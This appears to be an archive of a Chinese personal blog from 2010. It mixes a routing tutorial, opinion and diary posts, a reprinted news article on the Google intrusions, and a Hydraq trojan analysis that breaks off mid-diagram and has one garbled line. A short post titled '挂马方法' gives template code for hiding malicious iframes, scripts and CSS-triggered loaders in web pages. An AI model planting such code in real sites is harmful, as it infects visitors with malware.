2010年2月28日星期日
线路复用(聚合)方法
Prev Chapter 4. Rules - routing policy database Next
4.2. Routing for multiple uplinks/providers
A common configuration is the following, in which there are two providers that connect a local network (or even a single machine) to the big Internet.
________
+------------+ /
| | |
+-------------+ Provider 1 +-------
__ | | | /
___/ \_ +------+-------+ +------------+ |
_/ \__ | if1 | /
/ \ | | |
| Local network -----+ Linux router | | Internet
\_ __/ | | |
\__ __/ | if2 | \
\___/ +------+-------+ +------------+ |
| | | \
+-------------+ Provider 2 +-------
| | |
+------------+ \________
There are usually two questions given this setup.
4.2.1. Split access
The first is how to route answers to packets coming in over a particular provider, say Provider 1, back out again over that same provider.
Let us first set some symbolical names. Let $IF1 be the name of the first interface (if1 in the picture above) and $IF2 the name of the second interface. Then let $IP1 be the IP address associated with $IF1 and $IP2 the IP address associated with $IF2. Next, let $P1 be the IP address of the gateway at Provider 1, and $P2 the IP address of the gateway at provider 2. Finally, let $P1_NET be the IP network $P1 is in, and $P2_NET the IP network $P2 is in.
One creates two additional routing tables, say T1 and T2. These are added in /etc/iproute2/rt_tables. Then you set up routing in these tables as follows:
ip route add $P1_NET dev $IF1 src $IP1 table T1
ip route add default via $P1 table T1
ip route add $P2_NET dev $IF2 src $IP2 table T2
ip route add default via $P2 table T2
Nothing spectacular, just build a route to the gateway and build a default route via that gateway, as you would do in the case of a single upstream provider, but put the routes in a separate table per provider. Note that the network route suffices, as it tells you how to find any host in that network, which includes the gateway, as specified above.
Next you set up the main routing table. It is a good idea to route things to the direct neighbour through the interface connected to that neighbour. Note the `src' arguments, they make sure the right outgoing IP address is chosen.
ip route add $P1_NET dev $IF1 src $IP1
ip route add $P2_NET dev $IF2 src $IP2
Then, your preference for default route:
ip route add default via $P1
Next, you set up the routing rules. These actually choose what routing table to route with. You want to make sure that you route out a given interface if you already have the corresponding source address:
ip rule add from $IP1 table T1
ip rule add from $IP2 table T2
This set of commands makes sure all answers to traffic coming in on a particular interface get answered from that interface.
Reader Rod Roark notes: 'If $P0_NET is the local network and $IF0 is its interface, the following additional entries are desirable:
ip route add $P0_NET dev $IF0 table T1
ip route add $P2_NET dev $IF2 table T1
ip route add 127.0.0.0/8 dev lo table T1
ip route add $P0_NET dev $IF0 table T2
ip route add $P1_NET dev $IF1 table T2
ip route add 127.0.0.0/8 dev lo table T2
'
Now, this is just the very basic setup. It will work for all processes running on the router itself, and for the local network, if it is masqueraded. If it is not, then you either have IP space from both providers or you are going to want to masquerade to one of the two providers. In both cases you will want to add rules selecting which provider to route out from based on the IP address of the machine in the local network.
4.2.2. Load balancing
The second question is how to balance traffic going out over the two providers. This is actually not hard if you already have set up split access as above.
Instead of choosing one of the two providers as your default route, you now set up the default route to be a multipath route. In the default kernel this will balance routes over the two providers. It is done as follows (once more building on the example in the section on split-access):
ip route add default scope global nexthop via $P1 dev $IF1 weight 1 \
nexthop via $P2 dev $IF2 weight 1
This will balance the routes over both providers. The weight parameters can be tweaked to favor one provider over the other.
Note that balancing will not be perfect, as it is route based, and routes are cached. This means that routes to often-used sites will always be over the same provider.
Furthermore, if you really want to do this, you probably also want to look at Julian Anastasov's patches at http://www.ssi.bg/~ja/#routes , Julian's route patch page. They will make things nicer to work with. Prev Home Next
Rules - routing policy database Up GRE and other tunnels
关于转基因的思考
反对转基因没有别的办法反对。
科学的阵营里自己推出的东西。
你用现有的科学是反驳不了的。
有害的东西按照当时出现时的科技水准,不是都能发现的。
自然这个系统按照自身规律运行了这么久。
人类拿个转基因来修改这个系统的运行,可能没问题,也可能有问题。
好比一个复杂的软件,在没有完全理解透彻的时候
做了一些修改,很可能会引发其他的bug。
以后可能会有。
现代科技的影响力越来越大了。
拿战争武器来说,以前的科技影响范围和现代科技影响范围简直不可同日而语。
越是这种时候越要更谨慎。
好比软件修改ui上的bug,无需太多测试,针对相关局部测试一般是足够的。
但是如果核心模块软件调优
至少应该整个软件全面测试足够的时间吧。
基因工程应该相当于核心模块调优了吧。
理论是也许确实没有问题。但是拿到大自然这个系统里,是不是也应该给足够长时间测试。
而不要匆匆交给用户使用(大规模推广食用)
毕竟现在没有到不用转基因就饿死的程度。
这世界上就算没有高尚的人,总还是有的爱钱有的爱名,
不可能都收买了,科学界内部从来都不缺质疑的声音,完
全不需要外行们添乱。
所以如果你要质疑某个科学上的东西,你可以说他的不符
合科学规范,不被主流科学承认,数据有问题,实验设计
不严谨什么的。莫须有的怀疑论或者人身攻击都是没意义
的,逻辑上讲不通的。
一个人品有问题的科学家,如完全按照科学规范设计了试
验,用正确的方法分析了试验数据,他的结论可被他人重
现,基本没有同行质疑,那么这个结论难道就因为他人品
有问题就不可信了?
这个世界上的大多数民用科学研究都是企业支持的,没钱
的话拿什么搞研究,可是大家拿的不是一家的钱,互相拆
台的事情多的是,但是都是靠逻辑说话,不是靠莫须有的
"利益驱动"的怀疑论调。大家都这么搞,大半的科研都
可以被否定了。就算你没这心,事实上人类只能回到原始
社会去过日子了。
按照目前的科学理论逻辑转基因是不会有问题的。
但是不代表真的不会有问题。
目前大多的质疑都是担心转基因对系统造成的破坏而已。
做为转基因的研究者如果承认这种质疑,等于否认自己所从事的事业。
做为it民工,还是拿it民工最熟悉的来举例。
就是说做市场的同样可以质疑你这个bug修改的版本是否可以上市
他们依据的不是什么计算机科学的理论,只是依据以往的经验
经常会有软件工程师号称改完了不会出问题,但是最后发现严重问题的。
而且最终追索原因也许不是改动的部分出了问题。而是系统其他地方有bug
因为这个改动暴露了,但是如果不该,系统也能很好运行。
你不会认为现在科学可以对整个自然生态做完整性测试吧。
基因工程能做的测试和研究,也就是相当于他们拿个模块的工作。
也许这个模块很完美,但是我们不能预料大自然是不是有什么bug会被暴露。
当然从人类的进步来说,这种研究是必要的。
但是谨慎小心也没什么错,在群众中保留这种质疑,没什么坏处。
一种声音并不好。
信仰与贱女孩
一出门吓了一跳,大街上黑压压的人群,人挤人地排到二站地之外,每隔十几米,就有十几个警察,四五个保安拉着线,象是出了什么大事的样子。从来没见过这种阵式,问其中一位警察出了啥事?一会儿还能回来吗?要是只让出不让进,就不出门了,直接宅在家里算了。其实一个保安说,当然不能回来,只能出不能进。恐怖。又问一位警察,却说可以回来,总算放心了。问一位排队的人,原来是在排队到雍和宫烧香,今天正月十五元宵节,初一十五到寺庙烧香,只是想不到会有这么多人。信男信女真是不少。都说中国人缺少信仰,这不是信徒很多嘛,只是有几个人是真正诚心去信仰,只不过花几十块钱讨个彩头而已。
昨天晚上旁边桌子上,俩老外出去一趟带回来个中国女孩,一看就不是来这个酒店住的。英语巨差,聊天的时候,不断地说"what did u say?"。我在跟着音乐随意地跳着舞,那女孩回过头来,不断地看我,不知道怎么回事。一会儿到了静处,听见那俩老外高谈阔论,似乎正在犹豫是否上这个女孩。一个说这个女孩刚才哭了,需要怀抱安慰。另一个说,她只想fuck如何如何的,而且即使要钱,中国女孩也很便宜。
平时这俩老外非常绅士,似乎是第一次遇到这样的情况,搞不清应该如何处理,也许面对送上门来的女色,享受呢还是拒绝呢?
后来挪威的这个哥们回去睡觉了,英国的那个哥们儿带女孩出去。悲剧。
2010年2月19日星期五
挂马方法
1。一般挂马:
<Iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe> 这句是挂到网页上
2。js隐藏挂马:
<script src="http://xxx.xxx.xxx/mm.js"></script> 这句是挂到网页上
其中mm.js内容为:
document.write('<Iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>');
3。CSS挂马(更加隐藏)
<link href="htto://xxxxx.xxxxx/css.css" rel="stylesheet" type="text/css" /> 这句是挂到网页上
其中css.css的内容:
body { background-image: url(javascript:document.writ ("<script src="http://xxx.xxxx.xx/css.js"></script>")')}
其中css.js的内容:
<script src="网页木马地址"></script>
妈妈,我感觉太伤心了
善宝2岁2个月,变的开始多愁善感起来。
妈妈今天有事出去了,下午才回来。娘俩聊天,妈妈说,善宝,6号楼有位很漂亮很乖的帅小伙,是谁呀?(中间停顿几秒,等善宝的回答),是hanhan哥哥,哈哈。
善宝抬起可怜巴巴的小脸,原来满怀期待妈妈会赞扬自己,结果成了别人,憋着小嘴说"妈妈,我感觉太伤心了"
今天问了一圈的人,是谁教小家伙这句话的?结果都说没教过,呵呵,也不知道他啥时候学会的。而且我们都不看电视,更不让孩子看电视,什么时候学会的呢?还真是惊奇,这么小的孩子,都会"感觉伤心了"。
中午非要去广场看喷泉,看鸽子,我说咱们开车去吧,他说车太小,没有公交车舒服。现在的小孩啊,成长太快了吧?才2岁2个月的小家伙,就知道公交车更大,座起来舒服了。空间大小,舒服感觉,这些都知道了呢。
另外,听说google黑客事件的入侵者来自"上海交大和山东蓝翔技校",哈哈,这可是纽约时报的报道
http://www.nytimes.com/2010/02/19/technology/19china.html
原文自己看吧
SAN FRANCISCO ― A series of online attacks on Google and dozens of other American corporations have been traced to computers at two educational institutions in China, including one with close ties to the Chinese military, say people involved in the investigation.
Enlarge This Image
Daniel Rosenbaum for The New York Times
James C. Mulvenon said the Chinese government often used volunteer "patriotic hackers" to support its policies.
Related
Evidence Found for Chinese Attack on Google (January 20, 2010)
Google, Citing Attack, Threatens to Exit China (January 13, 2010)
Times Topics: Google Inc. | Computer Security (Cybersecurity)
Room for Debate: Can Google Beat China?
They also said the attacks, aimed at stealing trade secrets and computer codes and capturing e-mail of Chinese human rights activists, may have begun as early as April, months earlier than previously believed. Google announced on Jan. 12 that it and other companies had been subjected to sophisticated attacks that probably came from China.
Computer security experts, including investigators from the National Security Agency, have been working since then to pinpoint the source of the attacks. Until recently, the trail had led only to servers in Taiwan.
If supported by further investigation, the findings raise as many questions as they answer, including the possibility that some of the attacks came from China but not necessarily from the Chinese government, or even from Chinese sources.
Tracing the attacks further back, to an elite Chinese university and a vocational school, is a breakthrough in a difficult task. Evidence acquired by a United States military contractor that faced the same attacks as Google has even led investigators to suspect a link to a specific computer science class, taught by a Ukrainian professor at the vocational school.
The revelations were shared by the contractor at a meeting of computer security specialists.
The Chinese schools involved are Shanghai Jiaotong University and the Lanxiang Vocational School, according to several people with knowledge of the investigation who asked for anonymity because they were not authorized to discuss the inquiry.
Jiaotong has one of China's top computer science programs. Just a few weeks ago its students won an international computer programming competition organized by I.B.M. ― the "Battle of the Brains" ― beating out Stanford and other top-flight universities.
Lanxiang, in east China's Shandong Province, is a huge vocational school that was established with military support and trains some computer scientists for the military. The school's computer network is operated by a company with close ties to Baidu, the dominant search engine in China and a competitor of Google.
Within the computer security industry and the Obama administration, analysts differ over how to interpret the finding that the intrusions appear to come from schools instead of Chinese military installations or government agencies. Some analysts have privately circulated a document asserting that the vocational school is being used as camouflage for government operations. But other computer industry executives and former government officials said it was possible that the schools were cover for a "false flag" intelligence operation being run by a third country. Some have also speculated that the hacking could be a giant example of criminal industrial espionage, aimed at stealing intellectual property from American technology firms.
Independent researchers who monitor Chinese information warfare caution that the Chinese have adopted a highly distributed approach to online espionage, making it almost impossible to prove where an attack originated.
"We have to understand that they have a different model for computer network exploit operations," said James C. Mulvenon, a Chinese military specialist and a director at the Center for Intelligence Research and Analysis in Washington. Rather than tightly compartmentalizing online espionage within agencies as the United States does, he said, the Chinese government often involves volunteer "patriotic hackers" to support its policies.
Spokesmen for the Chinese schools said they had not heard that American investigators had traced the Google attacks to their campuses.
If it is true, "We'll alert related departments and start our own investigation," said Liu Yuxiang, head of the propaganda department of the party committee at Jiaotong University in Shanghai.
But when asked about the possibility, a leading professor in Jiaotong's School of Information Security Engineering said in a telephone interview: "I'm not surprised. Actually students hacking into foreign Web sites is quite normal." The professor, who teaches Web security, asked not to be named for fear of reprisal.
"I believe there's two kinds of situations," the professor continued. "One is it's a completely individual act of wrongdoing, done by one or two geek students in the school who are just keen on experimenting with their hacking skills learned from the school, since the sources in the school and network are so limited. Or it could be that one of the university's I.P. addresses was hijacked by others, which frequently happens."
At Lanxiang Vocational, officials said they had not heard about any possible link to the school and declined to say if a Ukrainian professor taught computer science there.
A man named Mr. Shao, who said he was dean of the computer science department at Lanxiang but refused to give his first name, said, "I think it's impossible for our students to hack Google or other U.S. companies because they are just high school graduates and not at an advanced level. Also, because our school adopts close management, outsiders cannot easily come into our school."
Mr. Shao acknowledged that every year four or five students from his computer science department were recruited into the military.
Google's decision to step forward and challenge China over the intrusions has created a highly sensitive issue for the United States government. Shortly after the company went public with its accusations, Secretary of State Hillary Rodham Clinton challenged the Chinese in a speech on Internet censors, suggesting that the country's efforts to control open access to the Internet were in effect an information-age Berlin Wall.
A report on Chinese online warfare prepared for the U.S.-China Economic Security Review Commission in October 2009 by Northrop Grumman identified six regions in China with military efforts to engage in such attacks. Jinan, site of the vocational school, was one of the regions.
Executives at Google have said little about the intrusions and would not comment for this article. But the company has contacted computer security specialists to confirm what has been reported by other targeted companies: access to the companies' servers was gained by exploiting a previously unknown flaw in Microsoft's Internet Explorer Web browser.
Forensic analysis is yielding new details of how the intruders took advantage of the flaw to gain access to internal corporate servers. They did this by using a clever technique ― called man-in-the-mailbox ― to exploit the natural trust shared by people who work together in organizations.
After taking over one computer, intruders insert into an e-mail conversation a message containing a digital attachment carrying malware that is highly likely to be opened by the second victim. The attached malware makes it possible for the intruders to take over the target computer.
John Markoff reported from San Francisco and David Barboza from Shanghai. Bao Beibei and Chen Xiaoduan in Shanghai contributed research.
另,可能与蓝翔技校内一名来自乌克兰的外教有关,但最近已经无法检测到直接来自中国的攻击活动了。
2010年2月18日星期四
感觉还是速度很快的
前些日子用的是putty,速度太慢,用fcitx敲字的时候,明显能感觉到滞后。现在用bt4,和win2000下一样,另外更棒的是,bt4是基于ubuntu的,升级或在线安装个工具,真是太方便了。还有哪些功能没法实现呢?
似乎linux更适合这类老机器,虽然是最新的版本 ,大量丰富的应用,而且还有类似windows
7/vista的那种特效桌面,但速度一点儿也不慢。现在把firefox装了agent工具,仿真iphone打开gmail的时候,感觉界面真清爽,一点儿杂乱的东西都没有,而且支持很多的功能,都是一样用的,真是太方便了。
linux是个很好的学习和折腾的平台,很适合我这类懒散人啊。
2010年2月17日星期三
周立波的搞笑思路
2.阿拉(我们)的股票,不仅玩人,而且玩鸟。连鸟都被你们玩死了,那阿拉还玩个鸟啊?!
3.每次阿拉都能在电视上看到温总理在老农民家里,总归挑最(哦挫)脏的人握手,(然后周立波作温总理状):"我们来晚啦!"
4.人人以为自己是股神,炒一个赚一个,连小菜场卖葱的阿姨都说:"我有消息的!"
5. 最残古额(可怜的)就是那些麻雀。证券公司门口那个大屏幕没有红过咯,一直是碧碧绿额。麻雀又不懂的咯,它们以为共青森林公园到了,延中绿地到了,一只只朝大屏幕上冲!冲一只死一只,冲一只死一只。
6.谁叫萨科奇no two no three,no three no four的!
7.后来我去观察了一下(元宵模子),原来他们喝半口吐一口,有些吐得不好的连泡沫都吐出来了!基本上他们吞进吐出一下午,一杯清咖可以喝成卡布基诺。
8.崩溃崩溃,就是要崩成一块一块!
9.一个人一定要有法律概念,要知道自己怎么 保护自己,当然你懂了法律之后你不违法,那就是浪费了。
10.最恶劣的就是抽筋舞(作抽筋状),三四百个人一齐跳,好像都找不到厕所一样。
11.以前女生的泳衣,大家还记得伐?就好像……六百多个百叶结穿在身上一样。后来算加了一圈裙摆,好像甲鱼的裙边一样。
12.朋友!帮帮忙!朋友大户嘛!万宝路,内侧袋!
13.(磁悬浮)大手笔,一百个亿,解决了三十公里的交通难问题。
14.那时候麦乳精不要太稀奇哦!我到同学家去,他妈妈给我冲了一杯麦乳精,不得了哦!那时候给小孩喝麦乳精!但是我拿起来一看,要死来,怎么(杯子)可以照得到对面的啦!他妈妈就放了几粒(麦乳精)!她当鸡精放的!还插了一根筷子叫我:调一调,调一调!本来还有点混叨叨(混浊)的,一调色勒斯清(非常清楚)!!
15.08年年头,总理就说:2008年,将会是最困难的一年。总理说这句话之前,什么都没有发生。总理话音刚落,什么都发生了。坐坐火车么,出轨了,过过年么,雪灾了,坐在家里么,地震了。
16.刘欢这么多年了,我从来没有找到过他的脖子。
17.一把火火火,把我们大兴安岭也烧掉了。
18.李宇春回答了我一个百思不得其解的问题。本来,打死我都不相信《木兰从军》,木兰从军怎么可能不被发现呢?。后来认识了李宇春,我终于知道,哦!原来技术上是可行的!
19. 李宇春――生男生女都一样!
20. 记住!婚姻是套餐要吃一起吃,婚姻是通货,要去一道去。
21.(说到同学的爸爸)
白白(伯伯):小滑稽,你想不想听白白(伯伯)的战斗故事?想不想听白白(伯伯)是怎么当班长的?
立波:白白(伯伯),我要听得!
白白(伯伯):那个时候,我是阿拉(我们)尖刀班的战士,阿拉尖刀班打仗总归冲在第一个,敌人一个炮弹丢下来,我旁边的人都倒下了,我没有倒下。
立波:然后呢?
白白(伯伯):然后我就当班长了。
立波:…………那白白(伯伯)你是怎么当排长的?
白白(伯伯):排长阿,这个真残古(可怜)啊!当年我带阿拉尖刀班和尖刀排在福建追击敌人,阿拉冲在最前面,敌人边退边打,我旁边的人一个一个倒下去。冲到后来,就剩我一个人了。这时候。六个敌人逃到前面一座庙里,把门反锁了。这时候我一看,骂人是不对的我的枪到哪里去了。我身上只有两个手榴弹,我就拉开盖头,拉着引线,一脚把门踹开,大喊:我不活了!
立波:然后呢?
白白(伯伯):然后我就当排长了……
立波:…………那白白(伯伯)你怎么当连长的呢?
白白(伯伯):这个真是惨啊!我那时候带阿拉尖刀排参加战斗,阿拉占领一个至高点,阿拉和尖刀连一起,只要等待总攻,阿拉只要不让旗子倒下去。一阵疯狂的扫射,旗子倒下去,我的战友把它扶起来。啪一枪,战友倒下了,有一个冲上去把它扶起来。最后我一看,又只剩我了。我想,这次我总归是要死了。但是我为了革命我死的光荣啊!我和我的战友白相去啦!于是我冲上去把旗子扶起来,大喊一声:"同志们!我准备死了!"结果敌人投降了。
22.一千年不是出一个,而是出一只周立波,你当我是乌龟啊!
23.和一个人做朋友,不但要接受他的优点,连他的缺点也要喜欢,这个就叫――缺喜(傻子)。
24.鞠躬鞠这么长时间,不是想讨掌声,实际上我主要想让我大家检查一下我头势(头路)清楚伐。
25.现在我们中国这个股市,应该倒过来说,已经变事故了。
26.两种不利因素碰到了一起,让我们非常的嘲讥讥and嘲讥讥。
27.如果你们花380元到美琪来看周立波你们不笑的话,你们就把周立波送到医院里去。
28.你们去想,这个380块放在家里没用的呀,你最多看出来,咦,这是张假币啊!这是HD开头的咯!
29.万体馆啊,你们当它是痰盂罐啊!
30.大舞台哎!你们当我瞎来啊!
31.这个属于彩色灵子(暗示)和彩色马屁。
32.费玉清,我帮他算过了,他每次一在上海开好演唱会第二天就跑掉了,他不在上海消费的,这对我们上海整个GDP的拉动没有任何好处的嘛!
33.费玉清是我非常喜欢的一个演员,唱歌多好啊,气质多好啊,这个男人很嗲的。
34.你们去想,一个男人,站在台上,娘娘腔,但是人家不错起(讨厌),这个绝对有难度哦!
35.你们一定要像容忍你们领导一样容忍我的无知。我的意思并不代表领导就一定无知,但无知的基本就是领导,这句话是不对的!领导怎么可能无知呢?领导这叫大智若蠢!
37.30年,萨达姆可以变成掉色句(吊死鬼)。
38.散户也可以变成阿无(窝囊废)。
39.赤佬(小子)可以变成模子(大哥);模子也可以变成赤佬。这个就叫赤佬模子。
40.关:那么你们大家看他戴着这副眼镜像不像一个烧电焊的?
周:请你不要调戏我好伐?
41.我很细心,我发现,游泳池里,特别是女同胞,这个游泳裤的角度平均五年往上面走二十度。
42.(商标)没了,上海人。一根东西腔调再浓,只要有这个东西(商标),巴子(土包子)。
43.叔叔你懂哇啦,这叫散热沟!
44.我把油条两个尖尖头揲(掐)掉,啊啦唔妈再揲吾(我的妈妈再掐我)。
45.这种感觉就好比你跑到南京路亨得力,你说:师傅,帮我拿三个劳力士。
46.我为干吃的事情也被我妈干打过。
47.混血儿你想生的漂亮,就一定要混的远,越远越好。
48.如果说我这个脸算混血儿的话,最多是越南帮柬埔寨的混血儿。
49.这个儿子就站在这里,这个爸爸也一定不是一盏省油的灯吧!
50.小孩犯错总归老心虚的,总归是门后背大便不过天亮。
51.牛顿一个苹果掉他头上,一下子就变大科学家了,你想如果掉下来的是铅球呢?牛顿就叭哒了(死)了。
52.现在这种饭店哦,牛肉下面摆萝卜丝,都是跟我学的,我七十年代就会了。
53.家里买回来的闹钟,我把它全部拆开,而且重新装好,但不走了。
54.后来我妈技术革新了,她用两个拖鞋打我,一个专门做假动作。
55.打好我人像斑马一样。
56.(模仿女同学)哟,周立波,你妈妈又买新拖鞋啦?
你怎么知道的?
你今天那个花纹和昨天那个不一样的,你今天那个是直的,昨天那个是S型的。
57.幸福和快乐是两码事。
58.还不知道是谁想出来的一句话:啊,不要让你的孩子输在起跑线上啊! 呸!(甩头)
59.如果说这个国家的孩子没有了天真,那么这个国家的未来一定缺乏想象。
60.有一次我正好在开车子,一个12岁的小朋友在打电话,打到电台里去,为她妈妈点歌
阿姨,我想为我的妈妈点一首歌。
你想为你的妈妈点什么歌啊?
我想为我的妈妈点一首XXX阿姨的歌叫《女人何苦为难女人》
多家企业网络入侵事件传言的同源木马样本分析
多家企业网络入侵事件传言的同源木马样本分析报告
----安天实验室安全研究与应急处理中心(Antiy CERT)
----2010-1-26
目录
第1章 攻击事件源起
第2章 攻击采用的漏洞分析
第3章 攻击样本分析
3.1 PE可执行样本的本地行为
3.2 PE可执行样本的网络行为
3.3 衍生样本RASMON.DLL的功能分析
3.4 ACELPVC.DLL、VEDIODRIVER.DLL的同源关系确认
3.5 ACELPVC.DLL、VEDIODRIVER.DLL的功能分析
3.6 样本使用的域名分析
第4章 最终分析意见
第5章 安天的建议与思考
附录
第1章 攻击事件源起
根据有关事件传言,2009年12月至2010年1月间,多家国际大型企业网络遭受了入侵攻击,对此,相关报道、媒体、以及网络传言都有不同说法,从相关消息汇总来看,其中相对有依据的说法来自几家国际安全厂商,包括Symantec、Mcafee、TrendMacro等,综合根据各厂商已经发布的分析报告和有关报道,较多的结论是相关企业的工作人员受到针对客户端程序的0 Day漏洞攻击(业内主要认为是IE浏览器相关漏洞,这个漏洞已经被命名为"极光"),并进而被植入了木马。
第2章 攻击采用的漏洞分析
根据有关描述,安天认为所捕获到的有关漏洞利用代码与有关资料描述的攻击方法是一致的。攻击方法都是利用被称为极光的IE 0day漏洞,并对有关代码采用了javascript加密变形,在常见的堆喷射技术的利用代码部分进行了变换,使得堆喷射代码只有在javascript运行后才能看到。其中比较特殊的是采用了String.fromCharCode(sss[i]/7)手段对堆喷射代码进行变形成为数字数组形式,使静态检测堆喷射代码检测困难。
但需要指出的是,脚本加密方法是当前网页木马的常规技术手段,整体来看这个攻击的代码的加密复杂程度有被夸大的倾向,实际上相关加密并不难于分析还原。关于有关漏洞的机理网上已经有较多的材料予以说明,用户可以自行搜索予以了解,并可以参靠本报告附录中的有关链接。
第3章 攻击样本分析
安天实验室在此事件过程中并未与相关企业建立直接的联系,相关样本集的主要判定依据是通过使用Mcafee、Symantec所发布资料中对相关样本的命名检索安天样本库的对照命名,并验证有关样本行为基本符合目前相关厂商公开发布文档有关描述。截至到2010年1月26日,安天根据上述病毒对照名称、基因片段关联、行为辅助验证和调用关系,共筛选出关联样本13个进行细粒度分析(其中两个样本直接来自境外反病毒厂商提供),其中3个为PE可执性程序,10个为PE动态链接库。经关联分析确认,3个可执行程序的基本功能逻辑完全一致,最典型行为即:均释放在资源节中部分加密存储的名为Rasmon.dll的动态链接库;而有7个样本原始文件名均为Rasmon.dll,经验证此7个文件基本功能逻辑完全一致,其差异主要是反向连接的外部地址不同等配置差异,且均可加载acelpvc.dll,而acelpvc.dll又进一步加载VedioDriver.dll。因此可以判定3个可执行程序是相关2进制样本的关系逻辑的原点。
但由于缺少实际场合验证,且与目前公开资料所公布的一些控制域名指向因被2级域名服务商屏蔽发生变化,安天无法确定相关样本就是相关事件中的样本,只能说明相关样本存在较大的同源性关系。
+---------------------------------+---------------+----------------------------------+-------------+
| MD5 |样本原始文件名 | 病毒名 | 文件类型 |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epoy | |
|1B59487D4DC029D92B61ABD4F69C9923 |30755.malware* |McAfee: Roarur.dr |PE可执行程序 |
| | |Symantec: Trojan.Hydraq | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epoy | |
|9F880AC607CBD7CDFFFA609C5883C708 |b.exe* |McAfee: Roarur.dr |PE可执行程序 |
| | |Symantec: Trojan.Hydraq | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epoy | |
|BCBEF5AB2C75C171FEDCCA0A33BCF7F7 |1.bin* |McAfee: Roarur.dr |PE可执行程序 |
| | |Symantec: Trojan.Hydraq | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epoz | |
|32CC9F9DA93DD4E9FD3D203881197CBF |Rasmon.dll |McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epoz | |
|BBE6FE27D503DA9B1F1C30ADAA40730E |Rasmon.dll |McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq!gen1 | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epoz | |
|0F9C5408335833E72FE73E6166B5A01B |Rasmon.dll |McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq!gen1 | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epoz | |
|2CFCD8C34F22FFB772C99C9293C21BDA |Rasmon.dll |McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq!gen1 | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epow | |
|3A33013A47C5DD8D1B92A4CFDCDA3765 |Rasmon.dll |McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq!gen1 | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.epoz | |
|4A069A20B8262B20E7440C8AB9C54E11 |Rasmon.dll |McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq!gen1 | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.eqqr | |
|80FC413CF908CD4506C3F790E484822E |Rasmon.dll |McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq!gen1 | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.eraf | |
|4A47404FC21FFF4A1BC492F9CD23139C |acelpvc.dll |McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Agent.bcvj[Spy]| |
|467EEF090DEB3517F05A48310FCFD4EE |VedioDriver.dll|McAfee: Roarur.dll |PE动态链接库 |
| | |Symantec: Trojan.Hydraq | |
|---------------------------------|---------------|----------------------------------|-------------|
| | |安天: Trojan/Win32.Genome.eqgc | |
|BA3545841D8A40ED8493E22C0E70A72C |c_1758.nls* |McAfee: Generic.dx |PE动态链接库 |
| | |Symantec: Trojan.Hydraq | |
+---------------------------------+---------------+----------------------------------+-------------+
上述带有*标志的相关程序,由于其没有VERSION信息且并非从现场采集,其现场文件名已不可考。采用的是安天获得该样本时的文件命名,其中30755.malware名字从风格看是采用其他厂商的病毒命名作为文件名。下面是样本来源和衍生关系图谱(关于相关样本的更多细节,可以查看附表一):
+--------------------------------+ +-------------------------------------------------+
|1B59487D4DC029D92B61ABD4F69C9923|------释放-->|2CFCD8C34F22FFB772C99C9293C21BDA(Rasmon.dll) |
+--提取-->| (30755.malware) | +-------------------------------------------------+
| +--------------------------------+
|
| +--------------------------------+------释放-->+-------------------------------------------------+
+--提取-->|9F880AC607CBD7CDFFFA609C5883C708| |0F9C5408335833E72FE73E6166B5A01B(Rasmon.dll) |
| | (b.exe) | /--释放-->+-------------------------------------------------+
| +--------------------------------+ /
| /
| +--------------------------------+/ +-------------------------------------------------+
+--提取-->|BCBEF5AB2C75C171FEDCCA0A33BCF7F7| |32CC9F9DA93DD4E9FD3D203881197CBF(Rasmon.dll) |
| | (1.bin) | |BBE6FE27D503DA9B1F1C30ADAA40730E(Rasmon.dll) |
| +--------------------------------+ /--提取-->|3A33013A47C5DD8D1B92A4CFDCDA3765(Rasmon.dll) |
| / |4A069A20B8262B20E7440C8AB9C54E11(Rasmon.dll) |
| / |80FC413CF908CD4506C3F790E484822E(Rasmon.dll) |
| +--------------------------------+/ +-------------------------------------------------+
+---------|安天样本库(检索Mcafee、Symantec |\
|所发布资料中对应样本的对照命名) | \ +-------------------------------------------------+
+--------------------------------+ \---提取-->|BA3545841D8A40ED8493E22C0E70A72C(c_1758.nls) |
+-------------------------------------------------+
+--------------------------------+ +-------------------------------------------------+
|1B59487sdafasdfa2B61ABD4F69C9923| |4A47404FC21FFF4A1BC492F9CD23139C(acelpvc.dll) |
| sadfa sdfsdaflware) |------提供-->|467EEF090DEB3517F05A48310FCFD4EE(VedioDriver.dll)|
+--------------------------------+ +-------------------------------------------------+
根据已经描述的样本间的衍生和调用关系,可以基本描绘出相关攻击和恶意代码样本的整体作用流程和因果关系为:为受害用户通过IE浏览相关攻击页面后,被注入执行PE可执行样本,相关样本运行后创建rasmon.dll文件到%System32%目录下并动态加载,释放批处理文件删除该PE可执行文件。rasmon.dll加载acelpvc.dll,成功加载后acelpvc.dll会继续调用VedioDriver.dll,在rasmon.dll运行后便会尝试连接网络,接受控制。整体逻辑如下图所示:
+------------------+
| 用户 |
+--------+---------+
|
|
用IE浏览带有溢出代码的网站
|
|
Y
+--------+---------+
| 网站 |
+--------+---------+
|
|
